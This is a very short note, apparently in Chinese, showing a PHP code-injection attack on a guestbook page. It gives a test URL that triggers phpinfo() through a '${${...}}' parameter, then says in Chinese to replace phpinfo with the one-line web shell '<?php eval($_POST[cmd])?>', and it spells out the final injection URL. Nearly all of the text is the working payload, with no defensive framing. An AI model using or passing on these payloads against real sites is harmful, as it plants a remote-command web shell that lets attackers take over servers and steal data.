guestbook/index.php?keywords=test&&page=3&${${phpinfo()}}

phpinfo替换成<?php eval($_POST[cmd])?>
<?php eval($_POST[cmd])?>
index.php?keywords=test&&page=3&${${<?php eval($_POST[cmd])?>}}
...